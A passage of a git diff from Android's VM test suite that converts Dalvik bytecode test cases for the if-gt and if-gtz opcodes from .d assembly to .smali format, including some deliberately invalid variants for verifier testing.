+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_gt_11.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_2.d
deleted file mode 100644
index 30e3b81..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_2.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_gt_2.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       if-gt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_2.smali
new file mode 100644
index 0000000..3139427
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_2.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_gt_2.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_3.d
deleted file mode 100644
index 75d4d17..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_3.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gt_3.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       if-gt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_3.smali
new file mode 100644
index 0000000..acd03b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_3.smali
@@ -0,0 +1,23 @@
+.source "T_if_gt_3.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_4.d
deleted file mode 100644
index f1ebef1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gt_4.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-gt v7, v8, Label11
-       const/16 v7, 1234
-       return v7
-
-Label11:
-       const/4 v7, 1
-       return v7
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_4.smali
new file mode 100644
index 0000000..2a6c05c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_gt_4.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-gt v7, v8, :Label11
+       const/16 v7, 1234
+       return v7
+
+:Label11
+       const/4 v7, 1
+       return v7
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_5.d
deleted file mode 100644
index 829291b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gt_5.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       if-gt v5, v6, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_5.smali
new file mode 100644
index 0000000..8d7bd9a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_gt_5.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-gt v5, v6, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_6.d
deleted file mode 100644
index 39b3541..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gt_6.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       if-gt v5, v7, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_6.smali
new file mode 100644
index 0000000..5167b5a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_6.smali
@@ -0,0 +1,23 @@
+.source "T_if_gt_6.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-gt v5, v7, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_7.d
deleted file mode 100644
index 88b8364..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_7.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gt_7.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;I)I
-.limit regs 8
-
-       if-gt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_7.smali
new file mode 100644
index 0000000..4bd5418
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_7.smali
@@ -0,0 +1,23 @@
+.source "T_if_gt_7.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;I)I
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_8.d
deleted file mode 100644
index 8325322..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_8.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_gt_8.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-gt v6, v0, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_8.smali
new file mode 100644
index 0000000..6f8a4b3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_8.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_gt_8.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-gt v6, v0, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_9.d
deleted file mode 100644
index 198d870..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_9.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gt_9.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-gt v6, v7, Label11
-       const/4 v6, 0
-       return v6
-
-Label11:
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_9.smali
new file mode 100644
index 0000000..c50aad0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_9.smali
@@ -0,0 +1,23 @@
+.source "T_if_gt_9.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/4 v6, 0
+       return v6
+
+:Label11
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_1.d
deleted file mode 100644
index 2207436..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gtz_1.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-gtz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_1.smali
new file mode 100644
index 0000000..e0dce24
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_gtz_1.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gtz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_10.d
deleted file mode 100644
index 4119a6e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_10.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_gtz_10.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-gtz v5, Label8
-       const/4 v0, 0
-       return v0
-
-Label8:
-       nop
-       const v0, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_10.smali
new file mode 100644
index 0000000..107d86e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_10.smali
@@ -0,0 +1,24 @@
+.source "T_if_gtz_10.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gtz v5, :Label8
+       const/4 v0, 0
+       return v0
+
+:Label8
+       nop
+       const v0, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_2.d
deleted file mode 100644
index b57c6ab..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_2.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gtz_2.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 6
-
-       if-gtz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_2.smali
new file mode 100644
index 0000000..9d261eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_2.smali
@@ -0,0 +1,23 @@
+.source "T_if_gtz_2.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-gtz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_3.d
deleted file mode 100644
index c2db4b7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_3.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gtz_3.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-gtz v6, Label9
-       const/16 v6, 1234
-       return v6
-
-Label9:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_3.smali
new file mode 100644
index 0000000..76949fb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_3.smali
@@ -0,0 +1,23 @@
+.source "T_if_gtz_3.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gtz v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_4.d
deleted file mode 100644
index 98e01e7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gtz_4.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 6
-
-       if-gtz v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_4.smali
new file mode 100644
index 0000000..7bdbfb7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_gtz_4.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 6
+
+       if-gtz v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_5.d
deleted file mode 100644
index 29f8800..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gtz_5.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 6
-
-       if-gtz v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_5.smali
new file mode 100644
index 0000000..8fdd199
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_gtz_5.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-gtz v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_6.d
deleted file mode 100644
index a91668e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gtz_6.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;)I
-.limit regs 6
-
-       if-gtz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_6.smali
new file mode 100644
index 0000000..1fbaafa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_6.smali
@@ -0,0 +1,23 @@
+.source "T_if_gtz_6.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-gtz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_7.d
deleted file mode 100644
index 71a5bfc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_7.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_gtz_7.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-gtz v0, Label9
-       const/16 v0, 1234
-       return v0
-
-Label9:
-       const/4 v0, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_7.smali
new file mode 100644
index 0000000..929e290
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_gtz_7.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gtz v0, :Label9
+       const/16 v0, 1234
+       return v0
+
+:Label9
+       const/4 v0, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_8.d
deleted file mode 100644
index 5bf3d9ce..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_8.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_gtz_8.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_8
-.super java/lang/Object
-
-
-.method public <init>()V
